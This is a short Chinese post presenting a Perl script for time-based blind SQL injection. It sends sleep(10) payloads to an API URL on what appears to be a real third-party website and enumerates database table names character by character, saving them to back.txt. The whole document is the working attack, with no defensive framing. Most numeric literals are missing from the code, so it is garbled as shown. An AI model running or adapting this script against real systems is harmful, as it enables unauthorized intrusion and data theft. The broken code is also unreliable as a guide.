一个基于时间注入的perl小脚本

 use strict;
 use warnings;
 use LWP::Simple;

 my %table_and_leng;
 for(my $count = ;$count <= ;$count++){
     #print "Test Table: $count\n";
     my $table_length=;
     my $swap = $count+;
     while($table_length <= ){

         print "Test Table($swap), and table_length($table_length)\n";
         my $start_time = time;
         get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if(length((select table_name from information_schema.tables where table_schema=database() limit $count,1))=$table_length,sleep(10),1) )-- -.html");
         my $end_time = time;
         my $fish_time = $end_time-$start_time;
         if($fish_time >= ){
             print "The $swap talbe_length:$table_length\n";
             $table_and_leng{$count} = $table_length;
             last;
         }
         $table_length++;
     }

 }
 foreach my $keys(sort keys %table_and_leng){
         print "$keys => $table_and_leng{$keys}\n";
 }
 print "All table length is Done, sleep(30)";
 sleep();

 my %all_tables;
 for(my $table_count=;$table_count <=;$table_count++){
     my $table_count_swap = $table_count+;
     my @table;
     for(my $count=;$count<=$table_and_leng{$table_count}; $count++){
         foreach my $char('a'..'z','A'..'Z',..,'_','!','@','#','$','%','^','&','*','(',')'){
             print "Guess $table_count_swap ->  $char\n";
             my $start_time = time;
             get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and (   if((substr(  (select table_name from information_schema.tables where table_schema=database() limit $table_count,1),$count,1)='".$char."')  ,sleep(10),1)   )-- -.html");
             my $end_time = time;
             my $fish_time = $end_time-$start_time;
             if($fish_time >= ){
                 print "The Char:$char\n";
                 push @table, $char;
                 last;

             }

         }
     }
     my $table_swap = join('',@table);

     print "The $table_count_swap is:$table_swap\n";
     $all_tables{$table_count} = $table_swap;
 }

 open DATA, ">> back.txt" or die "Cannot write to file:$!\n";
 print "\n\n------------------------------------------------------\n";
 foreach my $table_keys(sort keys %all_tables){
         print "$table_keys => $all_tables{$table_keys}\n";
         print DATA "$table_keys\t$all_tables{$table_keys}\n";
 }
 print "------------------------------------------------------\n";
 close DATA;
 print "All Done, Please Check the file:back.txt in current dir.\n";
 print "Done!\n";

关键是time获得时间